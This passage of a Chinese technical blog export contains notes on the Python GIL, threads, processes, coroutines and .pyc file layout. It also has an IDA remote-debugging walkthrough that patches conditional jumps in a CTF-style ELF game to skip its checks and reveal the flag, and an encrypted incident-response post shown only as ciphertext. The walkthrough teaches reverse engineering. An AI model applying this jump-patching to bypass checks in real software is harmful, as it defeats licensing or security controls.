<h1 id="Python-多线程-多进程-协程"><a href="#Python-多线程-多进程-协程" class="headerlink" title="Python 多线程 多进程 协程"></a>Python 多线程 多进程 协程</h1><h2 id="GIL——Global-Interpreter-Lock"><a href="#GIL——Global-Interpreter-Lock" class="headerlink" title="GIL——Global Interpreter Lock"></a>GIL——Global Interpreter Lock</h2><p>如果要谈python的多线程、多进程、协程,那么必须要先说一下GIL(Global Interpreter Lock——全局解释器锁)。GIL主要是用来保护访问Python对象的互斥锁(当多个线程同时去请求同一个对象是如果没有进行锁的操作会导致数据异常)。许多时候说到GIL都是直接跟python做了绑定关系,容易造成GIL是python的语言特性,其实,GIL并不是python的语言特性,而是CPython解释器特性(根据名字也可以知道)。由于GIL的关系导致python在同一时刻只有一个线程在运行,这就是大家为什么说python的多线程“无用”的原因。</p>
<p>python解释器:</p>
<ul>
<li>CPython:官方默认解释器,由C语言开发,有GIL</li>
<li>IPython:基于<code>CPython</code>开发的交互式解释器,只是增强了交互功能,执行功能与<code>CPython</code>完全一样</li>
<li>PyPy:JIT(Just-In-Time Compiler 即使编译器),对python代码进行动态编译,有GIL</li>
<li>Jython:Java平台的python解释器,依赖java,无GIL</li>
<li>IronPython:.Net平台的python解释器,依赖.Net平台,无GIL</li>
</ul>
<p>Ps:解释器跟编译器大概的区别:解释器立即执行代码、编译器为执行准备源码。</p>
<p>GIL可以理解为线程运行许可证,只有当线程拿到GIL时,这个线程才会进入CPU进行运行。那么如果运行CPU密集运算型任务时,多线程没有正面效果(有可能反面效果)。</p>
<h2 id="多核CPU多线程-lt-单核CPU多线程"><a href="#多核CPU多线程-lt-单核CPU多线程" class="headerlink" title="多核CPU多线程<单核CPU多线程"></a>多核CPU多线程<单核CPU多线程</h2><p>每个CPU在同一时间只能运行一个线程 并发、非并行 </p>
<p>在python多线程中,每个线程执行方式:</p>
<ol>
<li>获取GIL</li>
<li>执行代码直至sleep或者python虚拟机将其挂起</li>
<li>释放GIL</li>
</ol>
<h3 id="Python2-x"><a href="#Python2-x" class="headerlink" title="Python2.x"></a>Python2.x</h3><p>在python2.x中,GIL释放逻辑是当前线程遇到IO操作或者ticks计数为100。ticks可以理解为python专用做于GIL的计数器,解释器指令,每次释放后归零,可通过sys.setcheckinterval来调整。</p>
<h3 id="Python3-x"><a href="#Python3-x" class="headerlink" title="Python3.x"></a>Python3.x</h3><p>在python3.x中,GIL释放逻辑不使用ticks进行计数,改用计时器,执行时间达到阀值(5毫秒),当前线程释放GIL。</p>
<hr>
<p>当GIL释放后,多核CPU上的线程开始竞争GIL</p>
<p>单核模型</p>
<p>A线程获取GIL——A线程运行——A线程释放GIL——B线程获取GIL——B线程运行——B线程释放GIL···</p>
<p>多核模型</p>
<p>CPU0:</p>
<p>A线程获取GIL——A线程运行——A线程释放GIL————B线程获取GIL——————线程B释放GIL——线程C获取</p>
<p>CPU1:</p>
<p>—————————————————————唤醒线程Q——线程Q等待——线程Q切换成待调度——唤醒线程W——线程W等待</p>
<p>通过上述模型可知多核CPU多线程劣于单核CPU多线程(CPU密集型任务)。</p>
<p>但是在IO密集型任务时多核多线程优于单核CPU多线程,这是因为IO密集型任务主要的时间时消耗在等待中。</p>
<h2 id="GIL历史背景"><a href="#GIL历史背景" class="headerlink" title="GIL历史背景"></a>GIL历史背景</h2><p>python首次出现时间为1990,那时候CPU厂商还在通过提高核心频率来提高计算机性能。但在2000年后遇到天花板,开始转向多核方向来提高计算机性能。所以在一开始设计解释器时,没有想到多核时代这么快就来了。</p>
<h1 id="GIL删除?"><a href="#GIL删除?" class="headerlink" title="GIL删除?"></a>GIL删除?</h1><p>删除GIL有一个关键的难点:许多库依赖GIL,默认线程安全,如果删除去除GIL,那么代价太大。</p>
<h2 id="多进程"><a href="#多进程" class="headerlink" title="多进程"></a>多进程</h2><p>由于多进程每个进程都有一个GIL,某些情况下多进程比多线程好。多进程劣势:</p>
<ul>
<li>相比线程笨重</li>
<li>切换耗时长</li>
<li>多进程数量不推荐超过cpu核心数(一个进程一个GIL,一个GIL跑满一个CPU)</li>
</ul>
<h2 id="协程"><a href="#协程" class="headerlink" title="协程"></a>协程</h2><p>协程是编译器级,进程、线程是操作系统级。进程、线程由OS调度,开发者无法精确的控制。协程实现的是非抢占式调度,即如何调度可由开发者控制。</p>
<p>协程优点</p>
<ul>
<li>轻量、成本小</li>
<li>减少CPU开销</li>
<li>减少同步加锁</li>
<li>同步思维处理异步代码</li>
</ul>
<p>缺点</p>
<ul>
<li>不能有阻塞操作</li>
<li>需特别关注全局变量、对象引用的操作</li>
</ul>
<p>协程是基于事件循环方案,</p>
<h1 id="Python源码保护"><a href="#Python源码保护" class="headerlink" title="Python源码保护"></a>Python源码保护</h1><p>python源码文件py格式,字节码文件pyc、pyo等类型,pyc、pyo这些由解释器所生成的字节码文件,然后解释器再执行字节码文件。因此,可以通过重构一下python解释器来对python源码进行保护。</p>
<h2 id="Pyc"><a href="#Pyc" class="headerlink" title="Pyc"></a>Pyc</h2><p>pyc文件由三部分组成</p>
<ul>
<li><p>最开始4个字节是一个Maigc int, 标识此pyc的版本信息, 不同的版本的 Magic 都在 <code>Python/import.c</code> 内定义</p>
</li>
<li><p>接下来四个字节还是个int,是pyc产生的时间(TIMESTAMP, 1970.01.01到产生pyc时候的秒数)</p>
</li>
<li><p>接下来是个序列化了的 PyCodeObject(此结构在 <code>Include/code.h</code> 内定义),序列化方法在 <code>Python/marshal.c</code> 内定义</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">/* Magic word to reject .pyc files generated by other Python versions.</span></span><br><span class="line"><span class="comment"> It should change for each incompatible change to the bytecode.</span></span><br><span class="line"><span class="comment"> The value of CR and LF is incorporated so if you ever read or write</span></span><br><span class="line"><span class="comment"> a .pyc file in text mode the magic number will be wrong; also, the</span></span><br><span class="line"><span class="comment"> Apple MPW compiler swaps their values, botching string constants.</span></span><br><span class="line"><span class="comment"> The magic numbers must be spaced apart atleast 2 values, as the</span></span><br><span class="line"><span class="comment"> -U interpeter flag will cause MAGIC+1 being used. They have been</span></span><br><span class="line"><span class="comment"> odd numbers for some time now.</span></span><br><span class="line"><span class="comment"> There were a variety of old schemes for setting the magic number.</span></span><br><span class="line"><span class="comment"> The current working scheme is to increment the previous value by</span></span><br><span class="line"><span class="comment"> 10.</span></span><br><span class="line"><span class="comment"> Known values:</span></span><br><span class="line"><span class="comment"> Python 1.5: 20121</span></span><br><span class="line"><span class="comment"> Python 1.5.1: 20121</span></span><br><span class="line"><span class="comment"> Python 1.5.2: 20121</span></span><br><span class="line"><span class="comment"> Python 1.6: 50428</span></span><br><span class="line"><span class="comment"> Python 2.0: 50823</span></span><br><span class="line"><span class="comment"> Python 2.0.1: 50823</span></span><br><span class="line"><span class="comment"> Python 2.1: 60202</span></span><br><span class="line"><span class="comment"> Python 2.1.1: 60202</span></span><br><span class="line"><span class="comment"> Python 2.1.2: 60202</span></span><br><span class="line"><span class="comment"> Python 2.2: 60717</span></span><br><span class="line"><span class="comment"> Python 2.3a0: 62011</span></span><br><span class="line"><span class="comment"> Python 2.3a0: 62021</span></span><br><span class="line"><span class="comment"> Python 2.3a0: 62011 (!)</span></span><br><span class="line"><span class="comment"> Python 2.4a0: 62041</span></span><br><span class="line"><span class="comment"> Python 2.4a3: 62051</span></span><br><span class="line"><span class="comment"> Python 2.4b1: 62061</span></span><br><span class="line"><span class="comment"> Python 2.5a0: 62071</span></span><br><span class="line"><span class="comment"> Python 2.5a0: 62081 (ast-branch)</span></span><br><span class="line"><span class="comment"> Python 2.5a0: 62091 (with)</span></span><br><span class="line"><span class="comment"> Python 2.5a0: 62092 (changed WITH_CLEANUP opcode)</span></span><br><span class="line"><span class="comment"> Python 2.5b3: 62101 (fix wrong code: for x, in ...)</span></span><br><span class="line"><span class="comment"> Python 2.5b3: 62111 (fix wrong code: x += yield)</span></span><br><span class="line"><span class="comment"> Python 2.5c1: 62121 (fix wrong lnotab with for loops and</span></span><br><span class="line"><span class="comment"> storing constants that should have been removed)</span></span><br><span class="line"><span class="comment"> Python 2.5c2: 62131 (fix wrong code: for x, in ... in listcomp/genexp)</span></span><br><span class="line"><span class="comment"> Python 2.6a0: 62151 (peephole optimizations and STORE_MAP opcode)</span></span><br><span class="line"><span class="comment"> Python 2.6a1: 62161 (WITH_CLEANUP optimization)</span></span><br><span class="line"><span class="comment"> Python 2.7a0: 62171 (optimize list comprehensions/change LIST_APPEND)</span></span><br><span class="line"><span class="comment"> Python 2.7a0: 62181 (optimize conditional branches:</span></span><br><span class="line"><span class="comment"> introduce POP_JUMP_IF_FALSE and POP_JUMP_IF_TRUE)</span></span><br><span class="line"><span class="comment"> Python 2.7a0 62191 (introduce SETUP_WITH)</span></span><br><span class="line"><span class="comment"> Python 2.7a0 62201 (introduce BUILD_SET)</span></span><br><span class="line"><span class="comment"> Python 2.7a0 62211 (introduce MAP_ADD and SET_ADD)</span></span><br><span class="line"><span class="comment">.</span></span><br><span class="line"><span class="comment">*/</span></span><br></pre></td></tr></table></figure></li>
</ul>
<p>PyCodeObject包含了python代码中所有内容:字符串、常量值以及字节码指令等等</p>
]]></content>
<categories>
<category>Code</category>
<category>Python3</category>
</categories>
<tags>
<tag>Code</tag>
<tag>Python3</tag>
</tags>
</entry>
<entry>
<title>IDA动态调试-ELF</title>
<url>/archives/260d9dca.html</url>
<content><![CDATA[<p>使用IDA对ELF文件进行简单的动态调试。</p>
<p><img data-src="https://i.loli.net/2020/05/14/lmWx6FuG83Meqz4.png" alt="hero"></p>
<span id="more"></span>
<h1 id="程序流程"><a href="#程序流程" class="headerlink" title="程序流程"></a>程序流程</h1><p>将文件下载到本地之后使用编辑器打开,可以看到是一个ELF文件。放在Linux下运行,可知道是一个”打怪”的一个小程序:需要通过打怪提高战斗力,最后杀死巨龙。</p>
<p><img data-src="https://i.loli.net/2020/05/14/2RM7vKZY8VuTrfI.png" alt="hero"></p>
<p>根据信息可得知需要Combat超过一定数值才行,思路大概可分为以下几种:</p>
<ol>
<li>正常运行,慢慢升级,直至通关;</li>
<li>静态修改ELF文件中的特定值,如coins、Combat等;</li>
<li>动态调试,将逻辑判断nop掉。</li>
</ol>
<p>这里选择通过IDA进行动态调试进行pass。</p>
<h1 id="静态分析"><a href="#静态分析" class="headerlink" title="静态分析"></a>静态分析</h1><p>使用IDA打开该文件,可以发现几个关键函数:decrypt1、decrypt2、decrypt3、outflag、slime、boss、store等</p>
<p><img data-src="https://i.loli.net/2020/05/14/HREzw7MABFkolUh.png" alt="ida"></p>
<p>由于已经知道需要打怪才能获取flag,那么直接查看boss函数的伪代码(F5)</p>
<p><img data-src="https://i.loli.net/2020/05/14/dAH9n7DTzUfXGwj.png" alt="ida"></p>
<p>可以看到需要打三次boss才能成功获取flag,那么只需要将三次的if判断语句跳过即可。</p>
<h1 id="动态调试"><a href="#动态调试" class="headerlink" title="动态调试"></a>动态调试</h1><p>在IDA视图跳转至main函数之后,在main函数下一个断点,然后启动debug,这里选择Remote Linux debugger,之后需要配置程序目录、hostname、password等。</p>
<p><img data-src="https://i.loli.net/2020/05/14/2BFJCqutypW5Af7.png" alt="ida"></p>
<p>在Linux虚拟机中运行<code>ifconfig</code>获取IP地址,之后运行<code>./linux_server64</code>。Ps:该文件来自IDA dbgsrv目录。之后将ip填入hostname,将Linux用户密码填入Password,并将程序放置Linux虚拟机中指定位置,如/root/桌面,最后将信息填入对应文本框</p>
<p><img data-src="https://i.loli.net/2020/05/14/S9VDg2sdIr8AUwi.png" alt="ida"></p>
<p>启动debug,可以看到程序被成功断在刚刚下断点的位置,之后通过单步或者直接查看boss函数的地址,将断点设在boss函数入口</p>
<p><img data-src="https://i.loli.net/2020/05/14/eHvdWjZl6TYa7uX.png" alt="ida"></p>
<p>在Linux中输入2,使其运行至boss函数,在IDA中单步运行至4015FE地址,发现会jle至401628地址,通过【Edit】-【Patch program】-【Patch Bytes】将第一位字节修改成74,使其不跳转。之后可以看到程序会运行至第一个解密函数decrypt1</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jle 是指有符号小于等于则跳转</span><br><span class="line">jz 是指为 0 则跳转</span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2020/05/14/EeQKGHltvhu9yij.png" alt="ida"></p>
<p>之后再重复两次该操作即可获取flag</p>
<p><img data-src="https://i.loli.net/2020/05/14/OhzDopY2xH1cmFs.png" alt="hero"></p>
]]></content>
<categories>
<category>安全</category>
</categories>
<tags>
<tag>工具</tag>
</tags>
</entry>
<entry>
<title>某擎应急响应</title>
<url>/archives/3f861046.html</url>
<content><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look.">
<script id="hbeData" type="hbeData" data-hmacdigest="00211d676db274b200374f74edf0e4f13debe11496dfe01c951b5d05d2ccd800">cd639bcf68040a108bb358c54d72daf64f595767103bf7610409d4c63fe5ff6e974f8afbe3db13c3985fc9a95b01f2494adc29bf85cb2e5287e81daa36f24542627207de557a40ebd941350114de496bc0fd47e7804277739277d409be8a213fa885fe991cf1331147e35d0a373df967fedb6cf3258b8748bc187b5de4aadb0c1d7034670ca843c3ec9d9767d18867cee8fff35a22775da4365d2c1bd555f29d4568eed973792383f465f569ea0a681a2d79e8e850c31a7f8cbb0130b7598efef352dd6d952dd616922bdaca8c7aa7f091fad4245bc7d52fff45ea5808e188e16bd29529192378f6da8f6b0b5b613200d9707f42c2332bdc14378da9a16e85e30319c000aa276b2ba54ccc2d411df40138382ea59b0f0795e5abca8c1960e384e813bc19badec83fd15cd627e0e756f5835942c16be0f8d91390d57d5a808ceb33b5b49fac12b5085b11fa6aad2d8d705ad582bf4d123e65e9b2f3d07ba8f0888f753bedce71d90878020965b131dd621854cf43e2232a751768fbb448a27f3504637271e7c755d5b13bf987103a6dce0402b6c1afbd5997618818eead58cc1ec23ddbe5bb7cecb29431b14ef44cb6ddc10e9973d20334f9dbd7e88df293e58bc6b8b461774cfc319e37298e1a149078cace130fd670ceaa99748d47eb3843f537fb6c67b9317d531a0e19f3c5c25df1437fad4b46f28a33bc441944e8d8b00e95dda9a43d8cdf3819c811da2d3fe6f9af32876b39add2d49a989bbb15b31899393e83ad29eea4305071472a35a2520e0b9fa59816e9ed62c87593bb70869ade6f705d05233f4bc230f4c997f5c7d7702743c1817d4abf1f7158da4d2d0541226ad21e172ec753052e26e6c41123117f49bb6db247ff051e54ba1ca3669020a26b3372b8ac041390f6c323d17215f106845ba3a03ef5858263861e34fe45c33e7d3ed14f3f8a060981d85e6f7d6e83fe1edeb9ede52239e91fcee75cd2b346dfd702031bf6edaac71957e7e40a2291c0787d02b6e94b596cf009253e6f66cda202aa26893e2a6e7ba017c81b0fdc55fb61937fa983ca44b5bc2b862e76a58140c6ceea32679d3c7688bf365d52a4760aa54c73cb4c3aaa7017ef827e3e1cdbc44d23d24fa511d6d3ca0cfc79891356beb31a659de0babf84dc66f760f83c38b5c403a58a967fc9f9718a25302efffef164ca2842461d9eb9bc6c9db62a54c812e574c2c197bb8185463d6e400fff770702c6db95f385195142d7a777497cd276f1cac6bbdcfc32e357ab593953495202080a5a846afbcc839614977ca0a8688aaa88c1b673f65a58781f343d1d378a9744e3f3682b5be26f214e8357a87131793d219dbf696a22a08a592de742ea3c2ebbfee4d96c76ec4aace9919581cb68c72f127032dd386b53c0172174807dcb11c565282a0f84d0bab0f53d87ee18dd547ce8e245fd093414259a87a2c1c3cd266d18b214346115856b2f268dc6a7153ccdf9d0391e5ddf3bafc12c19a5bd3e0f16d1773e0d91e0bcc87b728a1d59a1e421d42df1c2b4c73d2f63e3065bee51140f5540543c39ea73b928cfb1f057c4306303cd7744d8b3c5ee6f26ae6833e66f9a9d42ac997fad5a917569a6b2105b039b1ee2066b3b6786f65fa21186d7b634f1ee881da9af24e501954dd71463cbd33a2ac126a9a0a4c860f3dcb3d9b45a9544249b8856206191b276d5e29ff2bc3635b9809f0a3067e1f469fd1b9934e6edcf74eb308df46bb7ca078ff7d6c5521e52a59104de3d5f19d1d7e4a138d5acf147367ff9fc9b33187a34eec78efac988c29068b7b3c777567f509c90effd815dc4e7a7d4f21faac03e369087ce94af6211d0dd0a8653e53af104012a9a6f3a3b5418f0cc9fd0a85a9ab487488d86bd6fd970ff42c559facd4cb3f62136e3d11d17c2a474d6629462e9d0734aedc56be84bc7ddeebd7bc0d972e4aed5a6442f19757435cb2c9e34a51b18187d0bf3e6c7152c62901913704e80d41214ff18215e349c9d70961b687251345da3163f16a2ff71d3a4427eac058c37fa53b7eb3931dadd0c4cbe74bb2905101ca45a3da03b24c5c56b119900db9b254ad1661b71d2ac01370d335afa66e6f4fdbb8b2067d7c4c684c941f021f75210a5356793206e7b6d8faecccdb7f187d14dcf9a90184b2b395753ef49a15b1395b956a7ee853230abe875a1605f461e1cd29f93c0a0540aef29db28ce14b1635c54f04d944516c065e6c5430457e6eb74a6a2a32ab464fa162bab8544017272994e0d93813f91b44985ce7f92bab528debd1467dbe3f30484021bab661b1f4f7f2aa87988508b2cdf794159f4c19fdf2fbb2b88311da5e01ec7e77715e4dcade7f37cc22cd6961bb18134874cb1e74d419b627f1e34bd2b8764c84b3a90d86635f6360d55c4f28aee7f92b6c3a29fb8625faf5e0a6dcffad3253f961b2de50d49c0497758c59d3d29247a2917571518c5ebb7730e1ce037a3d06eb0975994bb2942aec7fab74817852a6decd5879c4d043f5f5cdd6b052f8b00eed272a38b9e75fc6fec1b00bc514b0d1cf036bf8c42a719596e20f89a8cc0aa1f7464628494a898406f0376f6797c370189c6385b568dcdfc654e79d0842d2f1e9c2f0911eb5ae1af544a37d3db4927856b65a835596a7116b086187406e125159c3533e642ff7f65a0fb2b5407fe7b8a7fb4dee6e30fcce25a5bd95c60c6580d28d30bd7cc6acff2aa266d23bde778df416393ac95cdc5e7607a581527470bd69b17f61503aa19cf89854d69aa9583ebcaef29122e590fde106ece73d1dd1286a74d9bde87f085608779f5dd7dabdfd16f757cdfe272d59c2d791547cd85e1633453cdb17d01350c8684f277c6b84f2251cd1c471dfa2320e04ce8144cb0094499410da0362c5d3911bed646e6343d0ebe18e3431b4f5a08b737ccb4236b3137f95aea5e4415b5bf47623135cac3df42e4f43440c3a49ced5913fb1ff265f58c2639a75b858c821d502e372c4e1503befe888dd42185eed05ca7553b970e6bbce129c4c9d057f4c7929c19ef7a826e2fc45435252c2e879b9e10c741bfbeb8683a672308620d1a7f5bfdca8a0d34536ddc3004f33d14e125927d4221ef5e9ef2e9d60ca7e3cda152f5ffb96ccc2c984c1168756c6e5109b12d093b8f08fc80941563736c187ed4b4f27f519962abf3b2d071474c79bc1bbaf08402b6274637ef956b59d675575a7cef310944ec521bd210d02b5c0de339b76bb7921da3f83fc66f46623a16143795e9d80ac6f218f0fb58450e6214d6851f011be51aec3a73c7347a0c1d48545f5c728c8fdc316f4dceaba1cf8450904cda171af3b77af1e3f98ca92d117a70bf76f800cb74eeea7a6d25b6d4319dece8d45a15dbd854baeae9382588ecda829550c4a4fa8806079d788e2b796adf2accef6d5fcde6bc510df511e89db71c86945bfce5a2948b22096cac3b6c74a75af47c7d33dab6635568f766a87f1be8a78ab28e0493d24c8dcab009981b5b11d6bdcac3eb501efdb2e628c617f81b2af91d2f794009925fb86410c709220a54dca0e47281489265d563bac612d29e09df7082453bca711d1fbc908ddfe70bad47e6fe6dfa8714a51af53d2d50f56a9b07d9ab458120dae64a187720e7528bc36b5432aaee49016cf046aa70e97c879be82c715e956969dd645593ff149ba5749a50e05be28371cb50b79b15f3b17fc8a4ab6f803334c7ef8837415f026b7887c3d9b317b4461286a56a3d615cdb628a9675c04cb5c3390c5e7a7f630f29ab3b24bcbe0099b52e7fdd09d091da45cefc6dcb8234b5f94a6a37fea69d15057b60f8ba493a7d96c634384bbb8bdb132f50b757b7c923aabb1eb5f9e63eb983265c1aa0c54f79341b902c9da36e541c2f8a3f37c228c51371a86de5b54a3ddaf974afdb6e9f6831233e8ad102286b0f0a0dca4bac7b1c59cd71c65f8f0c73801b39a164179aa98e800b0c00e107b6a8f7e7903a04f14aa35f4da86d030362a064b8ee8dc97557136a7fec0fd8291f4451c7a5640865406650bd6dfc07c284929c20b31a0eaee681fa2d90b2007ff44a11af847e8a0eff68ea56ce59d96dcbb563f942f611ae6484015c466de7e05c92951117e48718904b5ca6183c707eb601aee18aecc68511075bb41c15b3de53505f5b37538b1351bdd344984befcceaf6fbb7be1a631c672d6d335e570e0693a89f1b11225b883d70ec663dac6c37df588360e2b53a4a5bed78aae486e710c9f9a7cf62f6464a8e60ee6a322cddbfd0711b4a85c53a6f780b493d874d63bbe47c5705e5e8018c40c1a4f3084149d80fe77f2b16890fd82e2de820024f848cecee250823ff7c2be88b716b27a3d0953235da2bb3796512c716c9056e36db2d7379913f31e1fb41c18782946cbc87c362b468d489d8fc8873a86d268b7f1ed0730307752bc6b29bb5afbda0490a39d66f968cd4bfb86c383f469ab1bb510871ad0ba8c154b23c9a9f7fee2ddae31436b5294e30c24379a5d536a53dfe5eb4ecfad3fe19f72f26acd4f2374aaeadc4040e937266fa35a68c39852979586533fad53ea4b3888307040fadfa79cbe95611409d1a77b492083a63912e1380db4eaff81f446d45f9b967b7ba1c60fc7170efb56a0973a241970c0fd9f851c66384becd09dacf01b64a53882343b806971536efe712228482aeae45b7b7eb886961d0919d72dee1604b8da18080a303ef2458535157d3ed1393dd34947bcb3d28d13a99116aa066eff6a283d578ad1503e5b0763839ce1a1d9ddc57c61ceef48cefdae18070330c61c1a7125820030cf02294570c6064796150cfaa62478c2cc2118fb13ede9e5d9ef4687f2ab019f15cedfe9795e583f752d3ecd555f70dbfdeaffb2cc5704ae72e87c3225d46296691205924322d1ef8200d2b57dbdaa56fafaaf0951e018b5f188e51765e2ff3c4a62d03f9fbad67b4a9405afc53c03909cfc40f0b98ac0f21f5975ad3b51272355b40f00fe55866baaa3b08204c81ebb41d4ae8557015944762f9fd358993c068661a1fbba75eb2499b982cc40c861793ff318aa8f934143a16c8d7f8547928926cbe0fb82d07bc831f93fa2d4cdfeb5fd819278b468af5af719923e9d81d6e1c8f21a0ef2010a4198a5fcd3f817d1ef6fd0ae36a2a8f3d2392944100908bd34dcab590affc4e90dabd4f6c2f895615905de48e094eedb4170e26d03d67de2c7470c9012743e54b415b2f28d13f677e002eb94991a0c52db2ed76d13e2d54da9f3a1541eb8a38d82e80a85f21d93b88c90b477b7c5f05ee24cfef9fe0962d03094cae3e9672f01246345c41c5c1ff2d82e0eb368e0e7b1183dc388812103ee7f4cd3be96af2157d9594eafd6ba5cea8ad46601c76bf7cee4dfec54b894707102d6c4035f3b411a37febb45bd84854c9fb73056e3d1b1fa642b905991d41cd0deeb4b36f81cfe69ef54afeccebe6f4a9721a637f3edf4ba916cfcff810290263b5d2572b1b4bce89b94cefe4fc84f0d460d948aeda21a1249e1220a29eaa7adeff5fc730bd3bf3de12056050f2e801639e0b51e874f73306f1b18c97aaa925e0f34dd8fc4b4967cad5ac75ea18869709188c0d6c82926da2a45a7b3c13fe2cf9f13b185db558742b4951bdd68c578fdb7d337858434bc0f065ac093c094effcd373ddc6ba5a35c28efc312405f415f99b5049c5f46fc88054cee434733131a59a5528aa052eacca0a333d9439487316b5af5e5ae534b4d14fd3bb58fcfcb5d783d3d96104901771a07f0817c5f026d99570bce0da01317d7af3ec5c821c1dbce10e4cc11bc96e3c96b949e62ef45d55a3efd29a9019c2b82d7776e8bf4331766e7714ca9192f4c38a73f0aa64cf734b3d0934286b55f9c3bc723dc635fd2577a87d049a3f56889fd9107e550e553af6fbb518f737ef9d92125bcc9d0ad4c0b0efd4366fb28ce4affe910f3f49a227e8702bb7f51c298234463f88451c453355b76e821dc5ab7a52a64bcf4e1932e2053e10206a95a4721490627883605b7affb123b47c0acd5bad206488d797821ba34fbb18d21271e57eafd9709010b6ce2b418c6abec6b96802c806ab97bf6f5a328bfa658dfb2f22c2a54b44bd77c27d2c8b3cf593930458927042c2a74642e806d80c5769f7549cace327dc6a28a077e49714cb3b154d241c03747ab1d5f0613f4bd4e32fb04baaf171e905b96dbd77c5251e4cd31cc71c892169193ce067184083afb8c49c48ce62a3b50bae8436061cebd53a3ca8c97e73cbea48c4d9732dd78efe3c50a9a4515590f20b5313051a494ad13e87f4c34f8d7ef18bff54bbc52fedc00c65b716a9a8a98a9a54a5160a67a085748a1a32c276a8ffa47bd67f63dcdb8b056cf12983a5cb14ccdb8312b08ab7688cf6894a7556065d5b62a7517f40330840028dfd60ebe408793b262a8358dcb0e74a0baebe1908bcf2d2a3c2af62f59a844826ec7e569bc010ebf824f280941b3f1ab5f239923dc4cbbc06c6a20fda1ad25d51f02348892e5bac1379eddcd44c69ed562fa43a0e3c2de12232f5dcdc2c2279afd1fe7b4a90c7f40bc9c5791af48a0b8ea40a8ca37431049efd7edded9746cc9f143268ecacb97db65277150bef183083107c79d8b23be6e862adab69728a63182cc9d5c61cf1505158f04a57bc5bb6c138a6c0e235686e569e2f49d27212c97871e30bb295c4c26a76e289833fa8a973433457fdacb85365991b9b4ac1f6b1792d4e45bed9e5702ccc4511857792c9a27c9d4ea3f174212ac2c43b4091a63cd9c17c041e6d6d4c25e63f4dae85f5cafe7e3b7d7dd14412e4861261df91c4b0371383cc8f75d1cbe6138e7fce7a5904385a5342fcd71043afe4333454ea8d70f9c0418236676e652132086731dd6f2420abdc44915bfd679474e080123f59b2cf403fb612e24d3702514c7335bdc8ed7242dba284ef44fafaa44e768e4dfd33dbb3b1448598608aa07f5dd33c17b744cf2a42cfe832162f53abd6c62e64959f65a1322e25e1a24674684662f8e55f51feeca252a9d34fed763d1252a4a6326db681f13d2607c8d853d8b996397cd80a9cf3024b298389e6393369e518ac7d5a0c64f50b83578b063ef9d9c41962a4d1d3d8dd2dab419e14a2d4778a4f73694d8fe98fcb244dcf39423d9fba585da08a3c345f7d2ea70219a16b76506af94aba80b435ca5afb383aa1aa7ad3bc4959162b8e91500af856ef2a3371c8108ce487892d94638dd7113571800c3cbac5d61cdb8a0122ff2eeb50c0a7032d749c78205d6d86acb78efd77de04c1049f909978bd49f1b295d2a6f1edce3a691a8ed21719b9c32e2b5e9ed839678beb3563a7e1e67cffebc18bb387f11570022d6fc9ea01dade737792b0fc14fac6c2fbee93192d1444de9e9b7168b412aca7903ac00435b66e963b9f5d911a70e991462ce9672de42d0492555bb22f53f1e64ca6a35f32d72f827a62620b415cec200fc49cc80784ad58fd2734770f34b1a327f8e265aae3befc2dd71d2a7cd932b95994fe3b06da0144ab8a4e34098006cf1993edf85089dd17defd9adb48f832c983af951585cdbd9cd73065546723d644bfe09c17a3738c9baf9e2ca4e6ca0b649a7a0e7093a720d33e5da5a39c9ace2bc29629bd1bb4977ee7b326eb01db190ae23ff2bb25985de5b59fac7dbac3187787efd15f6ca80ce82a825d81a60dee341fb0ad28d62605be84598f11c9506c03fb940b191763e20269e36c95e546e1e4538bb33e3ec66674e582934f2763f88b0c34bd4c8b0e5d3b58d752f83823209a89ea651e496bc76711b6f474f0eb4dbb6ac207e610276b4a6834d602de5bb4b599a97e3262bdd6fcf05acf886c8a7ba543c84ebfd8691472a607706350d1553c762d52b17d12bc7c3a57e5fecc85d82b7da342416baef616d5abc6bae5d074f13eabd6a9fd6f4457c5716a8059312135b6ba4e72cdcc8ffa5e2807e27a4585aee03c75fda65883f8a40163f7bebe22f5b549c64e8baec1da4acc5ffb070fbf30665aee88b6c512a776ec3e8ea00b2c7615fd0756bc1eac5fff8479d0e87309651d19c221edb9d5d33d7d32dfe7ba8f86db4e9f1f2c8af7da316b2b496f21eb219176cecb4a02fd60d1c7306f1599078f7fb9c9d59c7d8994f37cd2abdad5ab00a6033ec5e0926b2fafc1c0b73bb625c5683e8eda6814a31d0e09a1e82844e883804176336927819597429b2173035c27523f7c51e45f51a525e2e2e44cd39a1933b47c401d94942240e202fe7f4575a2f3f6889e92b2d028cf1c3c5d5dd5cb4c58850d2885709628675ccfa0ba1dc6ce12876e4b8eb6d95b169d913db7f5ad002408952f48d687776d2c4a0870a9ca483d4d1b4f6a7258170d4352c69462635ff352576d57833fa8ac3475fde83cd9891a4e542f71894f6b3e02b03b1075fcda3b8bb57b646070c5750c10a1cf794f7dd3646e417f592056f2a9c05588d403560f0e0453e21063f160df478da72b31d2fc964ae876f96c42b5df08999099c81185212784430a4d48c52ec012e065a171437c68294a9c9b370157ae6f6da7ab75196799383995cf5f474bb63ef0441444c4b85040234a801b7e0838021c02b519343d48d71624b9aec8d15714498c68644f37e43e7626f3fafebe26f659be35432879be368d196a35ee1af75b5231ade15eb64b503968ae6ec0b56cda2417172cc210004103f749f0686cdfcb46a7fe89f48918de44c201302c7b604764a227cab1782e708547d2524f389a2182e8fba8e9805fb2e64f4383ea252dd10e7de2753a77691f14a5efad4fe9ec6ba2c25757ac45a319de8cbbcb8fac7729464c939cea35d28a6ec02ac754e97629f668d44e289005e1b4fc9ef9a71b4774614e9391c4c9c5fb9c6606c4c65672b16f12e983e662e5ccb79b96b011ad357b584c353f000a29c7a4586bd6ddb974640207635393ca116d2dcd7ec1d7a633662d2ef1cde481f33932e1aa512b1954746ce8e306b26321aba60806749c047c6656f72574f9d47eca00783243fd7d0401c8c4a98fc77fc9cebec601a3e9da2ef3fe330b31f4542b36366aa949453c32925b18744328b3397fc75b65d5f537fc9781fbf600dbfbe2913766f587773f0f10d2d93caaa7e730ff3bc13f2be516f3293f54dcf0b31ff337512c5844296446d8e64cecaebcf70ccc9537bbb68787c86f03634b5b751f81c081be8d702d65203bd39097d6d7465803ba3f250e34ae5323748311238961a797539c8ceaac181f481dc966f3840edbc856e6ed55519c23dba1968c4bdfcc4c918215f1e8f5e4364fb1bfe526d2c